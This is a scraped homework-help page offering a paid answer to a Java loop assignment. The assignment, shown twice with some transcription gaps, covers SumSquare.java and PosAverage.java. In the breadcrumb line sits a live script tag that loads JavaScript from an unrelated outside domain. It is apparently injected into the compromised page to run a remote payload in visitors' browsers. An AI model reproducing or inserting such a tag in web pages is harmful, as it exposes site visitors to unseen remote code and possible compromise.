Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> Part 3: Create - SumSquare.java (any loop) This program should ask the user for the maximum number t

(Solved): Part 3: Create - SumSquare.java (any loop) This program should ask the user for the maximum number t ...



Part 3: Create - SumSquare.java (any loop) This program should ask the user for the maximum number to print out to and then print each number starting from 1 to the maximum along with it squared. It will also print out the sum of all the square numbers as shown below (inputs are shown in green): Please enter the maximum number 3 Number 1 squared is 1 Number 2 squared is 4 Number 3 squared is 9 The sum of squares of all numbers from 1 til1 3 is: 14 Please enter the maximum number 10 Number 1 squared is 1 Number 2 squared is 4 Number 3 squared is 9 Number 4 squared is 16 Number 5 squared is 25 Number 6 squared is 36 Number 7 squared is 49 Number 8 squared is 64 Number 9 squared is 81 Number 10 squared is 100 The sum of squares of all numbers from 1 till 10 is: 385 Part 4: Create - PosAverage.java (do-while-loop) Implement the following using a do-while-loop since this program will ask for a number at least one time This is a prototypical reason for using a do-while-loop over the other two types of loops. This program asks the user to enter any number then do the following: t adds the user input to the total if the number is positive Repeats to ask the user for another number. If the user input is not positive ( 0), then the loop terminates . The program then outputs the average of all the positive numbers Your program must produce an output as follows (inputs are shown in green): Enter 0 or less to stop entering numbers Enter value #1: 1 Enter value #2: 2 Enter value #3: Enter value #4: 4 Enter value #5: 0 Average is 2.5 Enter or less to stop entering numbers. Enter value #1: -3 No positive numbers were input. Enter 0 or less to stop entering numbers Enter value #1: 324 Enter value #2: 23 Enter value #3: 32 Enter value #4 : 51 Enter value #5: 54 Enter value #6: 42 Enter value #7: 95 Enter value #8: 85 Enter value #9: 84 Enter value #10: 325 Enter value #11: -2 Average is 111.5 Show transcribed image text Part 3: Create - SumSquare.java (any loop) This program should ask the user for the maximum number to print out to and then print each number starting from 1 to the maximum along with it squared. It will also print out the sum of all the square numbers as shown below (inputs are shown in green): Please enter the maximum number 3 Number 1 squared is 1 Number 2 squared is 4 Number 3 squared is 9 The sum of squares of all numbers from 1 til1 3 is: 14 Please enter the maximum number 10 Number 1 squared is 1 Number 2 squared is 4 Number 3 squared is 9 Number 4 squared is 16 Number 5 squared is 25 Number 6 squared is 36 Number 7 squared is 49 Number 8 squared is 64 Number 9 squared is 81 Number 10 squared is 100 The sum of squares of all numbers from 1 till 10 is: 385 Part 4: Create - PosAverage.java (do-while-loop) Implement the following using a do-while-loop since this program will ask for a number at least one time This is a prototypical reason for using a do-while-loop over the other two types of loops. This program asks the user to enter any number then do the following: t adds the user input to the total if the number is positive
Repeats to ask the user for another number. If the user input is not positive ( 0), then the loop terminates . The program then outputs the average of all the positive numbers Your program must produce an output as follows (inputs are shown in green): Enter 0 or less to stop entering numbers Enter value #1: 1 Enter value #2: 2 Enter value #3: Enter value #4: 4 Enter value #5: 0 Average is 2.5 Enter or less to stop entering numbers. Enter value #1: -3 No positive numbers were input. Enter 0 or less to stop entering numbers Enter value #1: 324 Enter value #2: 23 Enter value #3: 32 Enter value #4 : 51 Enter value #5: 54 Enter value #6: 42 Enter value #7: 95 Enter value #8: 85 Enter value #9: 84 Enter value #10: 325 Enter value #11: -2 Average is 111.5


We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now